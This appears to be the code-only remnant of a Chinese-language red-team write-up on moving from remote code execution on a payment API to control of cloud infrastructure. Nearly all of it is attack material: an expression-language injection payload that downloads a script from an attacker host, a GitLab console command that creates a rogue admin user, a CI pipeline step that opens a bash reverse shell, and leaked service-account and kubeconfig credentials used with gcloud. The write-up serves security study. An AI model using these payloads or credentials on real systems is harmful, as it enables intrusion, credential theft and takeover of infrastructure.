红队：从 RCE 到完全控制云基础设施的旅程

POST https://redacted.com/v1/api/create

{"amount": "200","data": "","redirectUrl": """orderInfo":"Could be anything""requestWith":"","signature":""}

{'responseTime': 109566832492, 'message': 'Bad format request.', 'resultCode': "x", 'subErrors': [{'field': 'signature', 'message': 'Invalid signature. Check raw signature before signed. Raw data before hash: accessKey=*****&amount=200&data=xxx&redirectUrl=https://c61sta92vtc0000v26yggdyh7feyyyyyb.interactsh.com&orderId=random-idf&orderInfo=49'}]}

orderInfo=49${7*7}

${''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl <attacker_host:attacker_port>/backup.sh -o /tmp/backup.sh')

{'responseTime': 1679566832492, 'message': 'Bad format request.', 'resultCode': "x", 'subErrors': [{'field': 'signature', 'message': 'Invalid signature. Check raw signature before signed. Raw data before hash: accessKey=*****&amount=2000&data=xxx&redirectUrl=https://c61sta92vtc0000v26yggdyh7feyyyyyb.interactsh.com&orderId=random-idf&orderInfo=start Process[pid=4024, exitValue="not exited"]'}]}

Process[pid=4024, exitValue="not exited"]

irb(main):003:0 > user = User.create(:username => 'snovvcrash', :password => 'Passw0rd!', :password_confirmation => 'Passw0rd!', :admin => true, :name => 'snovvcrash', :email => '[email protected]')

Gitlab::CurrentSettings.update!(password_authentication_enabled_for_web: true)

image: ubuntu:latest
  
before_script:
- bash -i >& /dev/tcp/${host}/${port} 0>&1
after_script:
- echo "After script section"
- echo "For example you might do some cleanup here"
deploy1:
stage: deploy
script:
- echo "Do your deploy here"

GCR_PUSH_KEY={      "type": "service_account",      "project_id": "redacted",      "private_key_id": "redactedxxxx",      "private_key": "xxxxx",      "client_email": "[email protected]",      "client_id": "redacted",      "auth_uri": "https://accounts.google.com/o/oauth2/auth",      "token_uri": "https://oauth2.googleapis.com/token",      "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",      "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/spinnaker-gcs-account%40redacted.iam.gserviceaccount.com"}

apiVersion: v1clusters:- cluster:    certificate-authority-data: xxx    server: https://redacted/k8s/clusters/c-6vzqn  name: spinnaker-prodcontexts:- context:    cluster: spinnaker-prod    user: spinnaker-prod  name: spinnaker-prodcurrent-context: spinnaker-prodkind: Configpreferences: {}users:- name: spinnaker-prod  user:    token: kubeconfig-u-59lxx.c-6vzqn:gvwcmcs9rnpkwknb99s5c9b2pdtqkmtlplf5ppndl6pxc7k6slnkkg

$ gcloud auth activate-service-account [email protected] --key-file=GCR_PUSH_KEY-serviceaccount.json                 

$ Activated service account credentials for: [[email protected]]gcloud container images list --repository=redacted

@Override    public boolean isValid(String object, ConstraintValidatorContext constraintContext) {        if ( object == null ) {            return true;        }         
        boolean isValid;        String message = object;        if ( caseMode == CaseMode.UPPER ) {            isValid = object.equals( object.toUpperCase() );            message = message + " should be in upper case."        }        else {            isValid = object.equals( object.toLowerCase() );            message = message + " should be in lower case."        }         
        if ( !isValid ) {            constraintContext.disableDefaultConstraintViolation();                  constraintContext.buildConstraintViolationWithTemplate(message)            .addConstraintViolation();